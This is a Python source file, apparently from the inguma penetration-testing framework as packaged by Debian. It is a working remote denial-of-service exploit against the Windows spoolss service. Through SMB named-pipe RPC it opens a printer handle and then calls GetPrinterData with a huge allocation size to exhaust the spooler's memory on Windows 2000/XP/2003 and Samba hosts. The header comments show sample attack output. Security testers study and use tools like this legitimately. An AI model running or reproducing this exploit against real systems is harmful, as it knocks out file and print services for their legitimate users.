File: CGetPrinterDataDos.py

package info (click to toggle)
inguma 0.0.7.2-2
  • links: PTS
  • area: main
  • in suites: squeeze
  • size: 6,612 kB
  • ctags: 7,859
  • sloc: python: 74,776; ansic: 344; makefile: 64; sql: 45; sh: 39
file content (213 lines) | stat: -rw-r--r-- 5,986 bytes parent folder | download | duplicates (2)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#!/usr/bin/python

#
# MS Windows spoolss GetPrinterData() Memory Allocation Remote DoS Exploit
#
# Based on an exploit released by h07 <h07@interia.pl>
#
# Copyright (c) 2006, 2007 Joxean Koret
# Copyright (c) 2006 h07 <h07@interia.pl>
#
# MS Windows spoolss GetPrinterData() 0day Memory Allocation Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on Windows 2000 SP4 Polish + All Microsoft Security Bulletins
# Example:
#
# C:\>python spoolss_dos.py 192.168.0.2 512
#
# [*] MS Windows GetPrinterData() 0day Memory Allocation Remote DoS Exploit
# [*] Coded by h07 <h07@interia.pl>
# [*] Connecting to 192.168.0.2:445
# [+] Connected
# [+] The NETBIOS connection with the remote host timed out.
# [+] 192.168.0.2: Out of memory
# [+] Done
#
# Exploit --> GetPrinterData(handle, value, 1024 * 1024 * 512) --> MS_Windows
# Spooler service(spoolsv.exe) memory usage: 512 MB
#

from impacket.structure import Structure
from impacket.nmb import NetBIOSTimeout
from impacket.dcerpc import transport
from impacket import uuid
from struct import pack
from sys import argv

from lib.libexploit import CIngumaModule

name = "spoolssdos"
brief_description = "MS Windows spoolss GetPrinterData Mem. Allocation DoS"
type = "exploit"
discoverer = "h07 <h07@interia.pl>"
author = "Joxean Koret <joxeankoret@yahoo.es>"
affects = ["MS Windows 2000 SP4", "MS Windows XP SP2", 
                "MS Windows 2003 SP1",  "Samba 3.0.14a-6 Debian Sarge 3.1"]
description = """
All current Microsoft Windows and Samba -at least- version 3.0.14a-6 distributed with Debian Sarge 3.1
implementations of the CIFS protocol suffers from a remote denial of service which can be used to 
deny service to legitimated users."""
patch = "No patch at the moment"
category = "dos"

class B1(Structure):
           alignment = 4
           structure = (
               ('id', '<L'),
               ('max', '<L'),
               ('offset', '<L=0'),
               ('actual', '<L'),
               ('str', '%s'),
           )

class B2(Structure):
 alignment = 4
 structure = (
     ('max', '<L'),
     ('offset', '<L=0'),
     ('actual', '<L'),
     ('str', '%s'),
 )

class OpenPrinterEx(Structure):
 alignment = 4
 opnum = 69
 structure = (
     ('printer', ':', B1),
     ('null', '<L=0'),
     ('str', '<L=0'),
     ('null2', '<L=0'),
     ('access', '<L=0'),
     ('level', '<L=1'),
     ('id1', '<L=1'),
     ('level2', '<L=10941724'),
     ('size', '<L=28'),
     ('id2', '<L=0x42424242'),
     ('id3', '<L=0x43434343'),
     ('build', '<L=2600'),
     ('major', '<L=3'),
     ('minor', '<L=0'),
     ('processor', '<L=0xFFFFFFFF'),
     ('client', ':', B2),
     ('user', ':', B2),
 )

class GetPrinterData(Structure):
 alignment = 4
 opnum = 26
 structure = (
     ('handle', '%s'),
     ('value', ':', B2),
     ('offered', '<L'),
 )

class CGetPrinterDataDos(CIngumaModule):

    target = ""
    waitTime = 0
    timeout = 1
    exploitType = 2
    results = {}
    memorySize = 1024
    wizard = False

    def run(self):
        print
        print "Trying to exploit ..."
        print

        MB = 1024 * 1024
        host = self.target

        if self.wizard:
            res = raw_input("Memory size [1024]: ")

            if res != "":
                self.memorySize = int(res)

        memory_size = MB * self.memorySize
        interface = ('spoolss', '12345678-1234-abcd-ef00-0123456789ab', '1.0')

        stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
        stringbinding %= {
        'host': host,
        'pipe': interface[0],
        }

        trans = transport.DCERPCTransportFactory(stringbinding)

        print "[*] Connecting to %s:445" % (host)
        try:
           trans.connect()
        except:
           print "[-] Connect failed"
           return False

        print "[+] Connected"

        dce = trans.DCERPC_class(trans)
        dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))

        query = OpenPrinterEx()
        printer = "\\\\%s\x00" % (host)
        query['printer'] = B1()
        query['printer']['id'] = 0x41414141
        query['printer']['max'] = len(printer)
        query['printer']['actual'] = len(printer)
        query['printer']['str'] = printer.encode('utf_16_le')

        client = "\\\\h07\x00"
        query['client'] = B2()
        query['client']['max'] = len(client)
        query['client']['actual'] = len(client)
        query['client']['str'] = client.encode('utf_16_le')

        user = "h07\x00"
        query['user'] = B2()
        query['user']['max'] = len(user)
        query['user']['actual'] = len(user)
        query['user']['str'] = user.encode('utf_16_le')

        dce.call(query.opnum, query)
        raw = dce.recv()
        handle = raw[:20]

        if(handle == ("\x00" * 20)):
           print "[-] ERR: OpenPrinterEx()"
           if(raw[20:] == "\x09\x07\x00\x00"):
               print "[-] Return code: Invalid printer name (0x00000709)"
           if(raw[20:] == "\x05\x00\x00\x00"):
               print "[-] Return code: Access denied (0x00000005)"
           return False

        query = GetPrinterData()
        value = "blah_blah\x00"
        query['handle'] = handle
        query['value'] = B2()
        query['value']['max'] = len(value)
        query['value']['actual'] = len(value)
        query['value']['str'] = value.encode('utf_16_le')
        query['offered'] = memory_size

        dce.call(query.opnum, query)

        try:
           raw = dce.recv()
           status = raw[:4]
           r_size = raw[4:8]

           if(status == "\x1b\x00\x00\x1c"):
               print "[-] Memory allocation error, out of memory"
               return True
           if(r_size == pack("<L", memory_size)):
               print "[+] Memory allocated!"
            
        except NetBIOSTimeout, err:
           print "[+] %s" % (err)
           print "[+] %s: Out of memory" % (host)

        print "[+] Done"
        return True

    def printSummary(self):
        pass